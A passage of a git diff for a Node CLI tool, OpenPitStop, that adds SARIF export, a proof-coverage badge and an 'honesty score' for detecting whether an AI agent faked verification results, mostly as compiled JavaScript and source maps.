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"}
@@ -2,12 +2,14 @@ import { Command } from "commander";
2
2
  import path from "node:path";
3
3
  import fs from "node:fs";
4
4
  import chalk from "chalk";
5
- import { buildModel, renderTerminal, renderMarkdown, renderHtml } from "../report/format.js";
5
+ import { buildModel, renderTerminal, renderMarkdown, renderHtml, renderProofBadgeSvg } from "../report/format.js";
6
6
  import { computeScore, renderBadgeSvg } from "../report/score.js";
7
+ import { buildSarif } from "../report/sarif.js";
7
8
  export const report = new Command("report")
8
9
  .description("Generate a repository analysis report from scan/verify history")
9
10
  .argument("[repo]", "path to the repo to report on", ".")
10
11
  .option("--html", "also write a self-contained PITSTOP_REPORT.html (zero external assets)")
12
+ .option("--sarif", "also write PITSTOP_REPORT.sarif — upload to GitHub code scanning (Security tab)")
11
13
  .option("--badge-json", "also write PITSTOP_BADGE.json — a shields.io `endpoint`-schema badge you can host " +
12
14
  "(https://img.shields.io/endpoint?url=<hosted.json>)")
13
15
  .action(async (repoArg, options) => {
@@ -38,7 +40,21 @@ export const report = new Command("report")
38
40
  chalk.dim(` host it and use: https://img.shields.io/endpoint?url=<url>/PITSTOP_BADGE.json\n`));
39
41
  }
40
42
  }
43
+ // Proof-coverage badge — the "we prove, not just report" signal for README/CI.
44
+ if (model.proofCoverage?.hasPen) {
45
+ const proofBadge = path.join(repo, "PITSTOP_PROOF.svg");
46
+ fs.writeFileSync(proofBadge, renderProofBadgeSvg(model.proofCoverage.pct));
47
+ console.log(chalk.dim(`Proof-coverage badge written to ${proofBadge}`) +
48
+ chalk.dim(` — embed: ![OpenPitStop proof](PITSTOP_PROOF.svg)\n`));
49
+ }
41
50
  console.log(chalk.dim(`\nReport written to ${mdPath}\n`));
51
+ if (options.sarif) {
52
+ const sarif = buildSarif(repo, model);
53
+ const sarifPath = path.join(repo, "PITSTOP_REPORT.sarif");
54
+ fs.writeFileSync(sarifPath, JSON.stringify(sarif, null, 2));
55
+ console.log(chalk.dim(`SARIF written to ${sarifPath}`) +
56
+ chalk.dim(` — upload to GitHub: gh api /repos/<owner>/<repo>/code-scanning/sarifs\n`));
57
+ }
42
58
  if (options.html) {
43
59
  const htmlPath = path.join(repo, "PITSTOP_REPORT.html");
44
60
  fs.writeFileSync(htmlPath, renderHtml(model));
@@ -1 +1 @@
1
- {"version":3,"file":"report.js","sourceRoot":"","sources":["../../src/commands/report.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"report.js","sourceRoot":"","sources":["../../src/commands/report.ts"],"names":[],"mappings":"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"}
@@ -4,6 +4,7 @@ import { deltasOf } from "../verify/metrics.js";
4
4
  import { type ScoreResult } from "../report/score.js";
5
5
  import type { IntegrityFinding, Verdict } from "../analyzers/integrity/types.js";
6
6
  import { type EvidenceCheck } from "../evidence.js";
7
+ import { type HonestyScore } from "../verify/honesty.js";
7
8
  interface IntegrityGate {
8
9
  verdict: Verdict;
9
10
  findings: IntegrityFinding[];
@@ -32,6 +33,8 @@ export interface VerifyOutcome {
32
33
  scoreDelta: number;
33
34
  exitCode: number;
34
35
  file?: string;
36
+ /** 0-100 trust rating: did the agent (or auto-fix) fake the result? */
37
+ honesty?: HonestyScore;
35
38
  }
36
39
  /**
37
40
  * The shared verify pipeline (also used by `pitstop gate`): re-measure the
@@ -16,6 +16,7 @@ import { computeScore } from "../report/score.js";
16
16
  import { getDiff } from "../analyzers/integrity/git.js";
17
17
  import { buildIntegrityReport } from "../graph/integrity.js";
18
18
  import { seal, checkEvidence } from "../evidence.js";
19
+ import { computeHonesty } from "../verify/honesty.js";
19
20
  /**
20
21
  * Every verify run doubles as an integrity gate: it diffs the working tree
21
22
  * against the last commit (HEAD) and runs the AI-agent-cheat detectors. A
@@ -114,7 +115,7 @@ function currentScoreOf(baselineResult, current, integrityPenalty) {
114
115
  export async function runVerify(repo) {
115
116
  const baselineResult = readBaseline(repo);
116
117
  if (!baselineResult) {
117
- return {
118
+ const outcome = {
118
119
  repo,
119
120
  missingBaseline: true,
120
121
  stale: false,
@@ -152,6 +153,7 @@ export async function runVerify(repo) {
152
153
  scoreDelta: 0,
153
154
  exitCode: 1,
154
155
  };
156
+ return { ...outcome, honesty: computeHonesty(outcome) };
155
157
  }
156
158
  // Evidence signature: recompute the digest of the stored scan and compare.
157
159
  // A baseline edited after OpenPitStop wrote it breaks the chain — the score
@@ -190,16 +192,19 @@ export async function runVerify(repo) {
190
192
  fs.mkdirSync(outDir, { recursive: true });
191
193
  const ts = new Date().toISOString().replace(/[:.]/g, "-");
192
194
  const file = path.join(outDir, `verify-${ts}.json`);
193
- const report = {
194
- timestamp: new Date().toISOString(),
195
+ const honesty = computeHonesty({
195
196
  repo,
196
- baselineTimestamp: baselineResult.timestamp,
197
+ missingBaseline: false,
198
+ stale,
197
199
  risk,
200
+ integrity,
198
201
  blocked,
199
- stale,
200
- staleNote: stale ? staleNote : undefined,
201
- evidence,
202
- status: blocked ? "BLOCKED" : evidence.status === "tampered" ? "SUSPICIOUS_EVIDENCE" : "OK",
202
+ current,
203
+ baseline,
204
+ deltas: d,
205
+ baselineScore,
206
+ currentScore,
207
+ scoreDelta,
203
208
  exitCode: blocked
204
209
  ? integrity.verdict === "CONFIRMED_CHEAT"
205
210
  ? 2
@@ -207,19 +212,8 @@ export async function runVerify(repo) {
207
212
  : risk === "High"
208
213
  ? 1
209
214
  : 0,
210
- integrity,
211
- deltas: d,
212
- baseline,
213
- current,
214
- score: {
215
- baseline: baselineScore.score,
216
- current: currentScore.score,
217
- delta: scoreDelta,
218
- grade: currentScore.grade,
219
- },
220
- };
221
- fs.writeFileSync(file, JSON.stringify(seal(report, `pitstop verify result for ${repo}`), null, 2));
222
- return {
215
+ });
216
+ const outcome = {
223
217
  repo,
224
218
  missingBaseline: false,
225
219
  baselineTimestamp: baselineResult.timestamp,
@@ -243,7 +237,33 @@ export async function runVerify(repo) {
243
237
  ? 1
244
238
  : 0,
245
239
  file,
240
+ honesty,
246
241
  };
242
+ const report = {
243
+ timestamp: new Date().toISOString(),
244
+ repo,
245
+ baselineTimestamp: baselineResult.timestamp,
246
+ risk,
247
+ blocked,
248
+ stale,
249
+ staleNote: stale ? staleNote : undefined,
250
+ evidence,
251
+ status: blocked ? "BLOCKED" : evidence.status === "tampered" ? "SUSPICIOUS_EVIDENCE" : "OK",
252
+ exitCode: outcome.exitCode,
253
+ integrity,
254
+ deltas: d,
255
+ baseline,
256
+ current,
257
+ score: {
258
+ baseline: baselineScore.score,
259
+ current: currentScore.score,
260
+ delta: scoreDelta,
261
+ grade: currentScore.grade,
262
+ },
263
+ honesty,
264
+ };
265
+ fs.writeFileSync(file, JSON.stringify(seal(report, `pitstop verify result for ${repo}`), null, 2));
266
+ return outcome;
247
267
  }
248
268
  function fmtBundle(b) {
249
269
  return b == null ? "—" : `${(b / 1024).toFixed(1)} KB`;
@@ -339,6 +359,18 @@ function renderVerifyBox(o) {
339
359
  if (o.stale)
340
360
  contentParts.push("");
341
361
  contentParts.push(...integrityParts, riskLine);
362
+ if (o.honesty) {
363
+ const hc = o.honesty.rating === "TRUSTWORTHY"
364
+ ? chalk.green
365
+ : o.honesty.rating === "QUESTIONABLE"
366
+ ? chalk.yellow
367
+ : chalk.red;
368
+ contentParts.push(hc(`Honesty Score: ${o.honesty.score}/100 · ${o.honesty.rating}`));
369
+ if (o.honesty.rating !== "TRUSTWORTHY") {
370
+ for (const r of o.honesty.reasons)
371
+ contentParts.push(chalk.dim(` · ${r}`));
372
+ }
373
+ }
342
374
  contentParts.push("", table.toString());
343
375
  const content = contentParts.join("\n");
344
376
  const color = o.blocked ? "red" : o.risk === "High" ? "red" : o.risk === "Medium" ? "yellow" : "green";
@@ -1 +1 @@
1
- {"version":3,"file":"verify.js","sourceRoot":"","sources":["../../src/commands/verify.ts"],"names":[],"mappings":"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